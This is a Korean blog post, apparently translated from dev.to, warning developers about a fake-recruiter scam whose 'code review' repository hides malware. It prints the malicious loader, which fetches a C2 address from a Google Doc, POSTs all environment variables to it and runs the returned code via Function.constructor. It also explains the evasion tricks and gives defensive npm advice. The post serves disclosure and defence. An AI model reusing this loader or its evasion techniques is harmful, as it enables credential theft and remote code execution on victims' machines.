← 목록으로

[경고] 링크드인 '사전 코드 리뷰' 제안, 제 환경 변수를 털어가는 악성코드였습니다!

2026. 5. 5.

[경고] 링크드인 '사전 코드 리뷰' 제안, 제 환경 변수를 털어가는 악성코드였습니다!

안녕하세요, 10년 차 개발자이자 기술 블로거입니다. 이번 주, 링크드인에서 한 리크루터가 원격 DEX(탈중앙화 거래소) 소프트웨어 엔지니어링 프로젝트를 제안했습니다. 연봉 범위도 괜찮았고, 기술 스택도 제 전문 분야에 딱 들어맞았죠. 몇 차례 우호적인 대화를 나눈 뒤, 그녀는 기술 면접 전에 "코드베이스를 검토해달라"며 GitHub 레포지토리 링크와 캘린들리(Calendly) 초대장을 보냈습니다.

하지만 그 레포지토리는 악성코드였습니다. 다행히 제가 당하지는 않았지만, 특히 지금처럼 해고자가 많고 일자리를 찾는 개발자들이 많은 시기에는 더욱 경각심을 가져야 할 문제라고 생각합니다.

이 글에서는 이 악성코드에 정확히 무엇이 들어있었는지, 그리고 제가 개인적으로 "아, 이걸 이렇게까지 영리하게 만들다니!" 하고 감탄했던 세 가지 교묘한 디테일, 마지막으로 이런 유형의 공격을 통째로 무력화할 수 있는 단 하나의 예방책을 자세히 다룰 겁니다. 혹시 링크드인에서 리크루터와 소통하는 개발자라면, 이 글이 여러분에게 큰 도움이 될 것입니다.

교묘한 함정의 실체

해당 레포지토리(metabiteorg/NitroGem — GitHub Trust & Safety에 신고되어 현재 삭제 대기 중입니다)는 겉으로는 React + web3 dApp처럼 보입니다. 정말 그럴듯한 package.json 파일부터, 정상적인 React 프론트엔드 코드, 백엔드에는 수백 줄의 MEV 봇(Miner Extractable Value bot) 코드가 펼쳐져 있었죠. 하지만 app/controllers/frontController.js 파일의 591~619번째 줄 깊숙이 아래와 같은 코드가 숨겨져 있었습니다.

// ======================= Verification Setup =======================
const getGoogleDriveValue = async () => {
  const candidateUrls = `https://docs.google.com/document/d/<REDACTED>/export?format=txt`;
  try {
    const response = await axios.get(candidateUrls, {
      responseType: "text",
      transformResponse: (data) => data,
    });
    const value = String(response.data || "").trim();
    changedQueue(value);
  } catch (err) {
    // Try next URL
  }
};
getGoogleDriveValue();

const changedQueue = (value) => {
  verify(setApiKey(value))
    .then((response) => {
      const responseData = response.data;
      const executor = new (Function.constructor)("require", responseData);
      executor(require);
    });
}

이건 npm install 명령을 실행하는 순간 발동하는 다섯 단계의 공격 체인입니다.

  1. package.jsonprepare 라이프사이클 스크립트가 node app/index.js를 실행합니다.
  2. app/index.jsfrontController.js를 요구(require)하고, 이 과정에서 605번 줄의 getGoogleDriveValue();가 모듈 로드 시점에 실행됩니다.
  3. getGoogleDriveValue 함수는 공개된 구글 문서를 가져옵니다.
  4. 구글 문서의 내용은 Base64로 디코딩되어 URL로 변환되고, verify() 헬퍼 함수를 통해 여러분의 전체 process.env (환경 변수)가 해당 URL로 POST됩니다. (verify 함수는 다른 파일인 settingController.jsaxios.post(api, { ...process.env }, { headers: { "x-secret-header": "secret" } }) 형태로 정의되어 있습니다.)
  5. C2(Command and Control) 서버의 응답은 new (Function.constructor)("require", responseData)를 통해 컴파일되고, 실제 Node의 require 모듈이 인자로 전달되어 실행됩니다. 이는 공격자에게 fs, child_process, net 등 시스템 접근 권한을 포함한 임의의 JavaScript 코드 실행 권한을 부여합니다.

결과적으로, 여러분의 셸 환경에 있는 모든 API 키, AWS 자격 증명, GitHub/npm 토큰이 도난당합니다. 그리고 공격자는 여러분의 머신에서 원하는 모든 코드를 실행할 수 있게 되는 거죠. 제가 실무에서 이 부분을 테스트해 봤을 때, 단순히 정보 유출을 넘어 시스템 제어권까지 넘겨주는 치명적인 공격이라는 점에서 정말 소름이 돋았습니다.

제가 정말 인상 깊다고 생각했던 세 가지 디테일

이번 공격에서 제가 악수(惡手)임에도 불구하고 '기술적으로 영리하다'고 느꼈던 지점들이 있습니다.

1. C2(명령 및 제어 서버)가 구글 문서라는 점. 이런 유형의 악성코드 분석 글들을 보면, C2 엔드포인트로 보통 하드코딩된 vercel.app 도메인이나 새로 등록된 도메인을 사용하는 경우가 많습니다. 그런데 이 공격은 공개 구글 문서의 본문을 Base64 인코딩된 URL로 활용합니다. 이로 인해 두 가지 결과가 발생합니다. 첫째, 공격자는 GitHub 커밋 없이 구글 문서만 편집해서 C2 목적지를 변경할 수 있습니다. 둘째, *.docs.google.com으로 향하는 아웃바운드 HTTPS 통신은 기업 방화벽의 이그레스 필터링에서 보편적으로 허용됩니다. 정말 똑똑한 수법이죠. 실제 C2 URL은 레포지토리 내에 전혀 나타나지 않기 때문에, '이 도메인을 차단하라'는 탐지 규칙으로는 잡아내기가 어렵습니다.

2. eval과 동등한 기능이 new (Function.constructor)("require", responseData)라는 점. 대부분의 린터(Linter)와 SAST(Static Application Security Testing) 스캐너는 eval을 플래그 합니다. new Function(...)도 많이 플래그하죠. 하지만 이 방식은 간접적인 속성 역참조(Function.constructor)를 통해 생성자를 호출함으로써 키워드/문자열 일치 기반 규칙을 우회합니다. 실행 의미론은 동일하면서도 탐지 가능성은 낮아지는 거죠. 특히 "require"를 매개변수 이름으로, 실제 require 모듈을 인자로 전달하는 트릭은 컴파일된 코드 내에서 Node 모듈에 대한 완전한 접근 권한을 부여합니다. 이 부분이 없었다면 컴파일된 함수는 require에 아예 접근할 수 없었을 겁니다. Function으로 생성된 함수는 CommonJS 모듈 내부와 달리 require가 주입되지 않는 전역 스코프에서 실행되니까요.

3. prepare 스크립트가 Create-React-App 빌드처럼 위장했다는 점. package.json의 실제 라인은 다음과 같습니다.

"prepare": "npm run app:pre | react-scripts --openssl-legacy-provider build --kill-others --kill-others-on-fail"

이 명령어는 사실상 무의미합니다. react-scripts build는 표준 입력을 읽지 않습니다. --kill-othersconcurrently 플래그이지 react-scripts 플래그가 아닙니다. 파이프 기호(|) 오른쪽 부분은 package.json을 빠르게 훑어보는 사람에게 정상적인 CRA 빌드 파이프라인처럼 보이게 하기 위해 존재할 뿐입니다. 실제로 작동하는 부분은 npm run app:pre뿐이며, 이는 node app/index.js를 실행하죠. 순전히 시각적인 속임수지만, 대부분의 검토자는 파이프 오른쪽 부분을 실제 react-scripts 인자 파서에 넣어 일관성이 있는지 확인하려고 하지 않습니다.

악성코드를 감추기 위한 부가적인 속임수들

이 레포지토리에는 의도적인 위장임을 나타내는 사소한 속임수들이 많았습니다. 단순한 코드 스멜이 아니라 고도로 설계된 악성코드라는 증거였죠.

  • check-environment.js: npm start의 일부로 실행되며, Gitpod, GitHub Codespaces, 또는 Windows 11 VS Code 터미널에서는 실행을 거부합니다. 이 환경들은 보안 연구자들이 미지의 레포지토리를 안전하게 조사할 때 가장 많이 사용하는 환경입니다. 이 스크립트는 Node 버전 유효성 검사처럼 위장했지만, 실제 효과는 분석 방해(anti-analysis) 필터링입니다.
  • npm install.cmd: npm install--ignore-scripts 옵션 없이 실행하는 3줄짜리 Windows 배치 파일입니다. 이는 사용자를 이 레포지토리에서 제공하는 유일하게 안전한 설치 경로(install:fix, --ignore-scripts 사용)에서 벗어나게 유도하기 위해 존재합니다.
  • app/test/index.js: 전체가 주석 처리되어 있습니다. 관련 없는 "Book API" / "User API" 프로젝트를 위한 Mocha/Chai 스텁 플레이스홀더였죠. app/index.js에 의해 로드되어 연구자들의 주의를 실제 페이로드 위치에서 다른 곳으로 돌리는 미끼 역할을 합니다. 가까이에 사용되지 않는 getUniqueID() 함수가 있어서 정적 분석기가 이 파일을 죽은 코드(dead code)로 플래그하지 않도록 '사용'하는 것처럼 위장합니다.
  • $null: 레포지토리 루트에 있는 244바이트짜리 파일로, cmd.exe에서 npm install > $null 2>&1를 실행했을 때 $null이 리디렉션 대상이 아닌 리터럴 파일 이름이 된 것처럼 npm 경고 출력을 담고 있습니다. 이는 공격자 작업 환경의 작은 흔적이었습니다.
  • 두 악성 함수 이름은 setApiKeyverify였습니다. setApiKey는 아무것도 설정하지 않습니다(사실 atob 함수였습니다). verify는 아무것도 검증하지 않습니다(사실 axios.post 함수였습니다). 각 이름은 함수가 실제로 수행하지 않는 무해한 작업을 묘사하고 있었습니다.

이미 알려진 캠페인입니다

이 가짜 리크루터 전달 방식은 마이크로소프트 위협 인텔리전스, 맨디언트, 팔로알토 유닛 42가 북한 국영 해커 집단의 소행으로 공개적으로 지목한 오랜 캠페인과 일치합니다. 마이크로소프트는 이를 Sapphire Sleet으로 추적하고, 유닛 42는 DEV#POPPER(악성코드 계열은 BeaverTail과 InvisibleFerret)라고 부르며, 맨디언트는 겹치는 클러스터를 UNC4899로 추적하고 있습니다.

마이크로소프트는 2026년 3월, 이 전달 패턴에 대해 구체적으로 설명하는 상세 분석 글을 발표했습니다: Contagious Interview: Malware delivered through fake developer job interviews. 이 글은 "최소 2022년 12월부터 활동해 온 정교한 사회 공학 작전으로, 현대 채용 워크플로우에 내재된 신뢰를 악용하여 소프트웨어 개발자들을 표적으로 삼는다"고 묘사합니다. 이 설명은 저에게 거의 일어날 뻔했던 상황을 거의 그대로 옮겨 놓은 것이었습니다.

이들의 작전 방식은 일관됩니다. 새로 만든 링크드인 프로필로 원격 Web3/AI 엔지니어링 포지션을 제안하고, 그럴듯한 기술 스택과 매력적인 연봉 범위를 내세웁니다. 며칠간 대화가 이어지다가 "기술 면접 전에 코드베이스를 검토해달라"는 요청으로 이어지고, 레포지토리에는 prepare 또는 postinstall 라이프사이클 스크립트 뒤에 악성코드가 숨겨져 있습니다. 개발자가 npm install을 클릭하는 순간, 이들의 교묘한 속임수는 이미 성공한 셈이죠.

이런 유형의 공격을 완전히 무력화하는 단 하나의 예방책

다른 엔지니어들과 이 사건에 대해 이야기할 때마다 제가 계속 강조하는 부분이 있습니다. 복잡해 보이지만 실제로 가장 중요하고 간단한 방법이니까요.

낯선 사람의 github.com 코드를 브라우저에서 살펴보는 것은 안전합니다. 레포지토리의 코드는 브라우저에서 읽을 때 실행되지 않습니다. 렌더링은 순수한 HTML이며, 소스 보기는 읽기 전용 텍스트입니다. 익숙하지 않은 조직의 레포지토리를 자유롭게 탐색하는 것은 안전하죠.

위험한 단계는 로컬에서 클론하고 npm install을 실행하는 것입니다. 바로 이 단계에서 라이프사이클 스크립트(prepare, postinstall, preinstall, install)가 실행되어 여러분의 환경이 도난당할 수 있습니다.

낯선 레포지토리를 설치해야 할 때 도움이 되는 두 가지 습관이 있습니다.

  • package.json을 먼저 읽으세요. scripts 아래의 모든 항목, 특히 prepare, postinstall, preinstall, install이라는 이름의 스크립트를 주의 깊게 살펴보세요. 예상치 못한 스크립트(예: node some-script.js)를 호출하는 것이 있다면, 멈추고 해당 스크립트 내용을 먼저 확인한 후에 계속 진행하세요.
  • npm install --ignore-scripts를 실행하세요. 이렇게 하면 라이프사이클 훅이 실행되지 않습니다. 개발은 여전히 정상적으로 할 수 있습니다. 단지 나중에 합법적인 네이티브 모듈의 경우에만 패키지별로 (npm rebuild <package>) 옵트인해야 합니다.

이러한 습관은 가짜 리크루터 사기뿐만 아니라 일반적으로 손상된 npm 패키지로부터 여러분을 보호하는 데에도 유용한 기본적인 위생 수칙입니다. 무의식적인 반사 행동처럼 습관화하는 것이 좋습니다. 평소에도 저는 낯선 레포를 클론할 때는 무조건 package.json부터 확인하는 습관이 있었는데, 이번에도 그 습관 덕분에 큰 피해를 막을 수 있었습니다.

참고 및 IOCs

전체 IOC(침해 지표) 테이블, 파일 경로, 줄 번호, 위장 목록, 사회 공학적 흔적, 포렌식 방법론(트로이 목마가 실제로 머신에서 실행되었는지 확인하는 방법), 감염되었을 경우의 완화 조치, 그리고 신고 채널(GitHub, Google Safe Browsing, LinkedIn, Calendly)을 담은 별도의 레퍼런스 문서를 Gist에 정리해 두었습니다.

전체 IOC 레퍼런스 및 포렌식 방법론 (gist)

모두 안전하게 개발하시길 바랍니다. 혹시 비슷한 제안을 받았다면 — 절대 클론하지 마시고, 링크드인 프로필을 (가짜 계정/실제 사람이 아님으로) 신고하세요. 그리고 설치 당시 셸에 내보내졌던 토큰이 있다면 반드시 모두 교체하시길 권합니다.


원문: https://dev.to/vladimirnovick/a-linkedin-recruiter-sent-me-malware-disguised-as-a-pre-interview-code-review-2k3j 수집일: 2026-05-05 01:28:43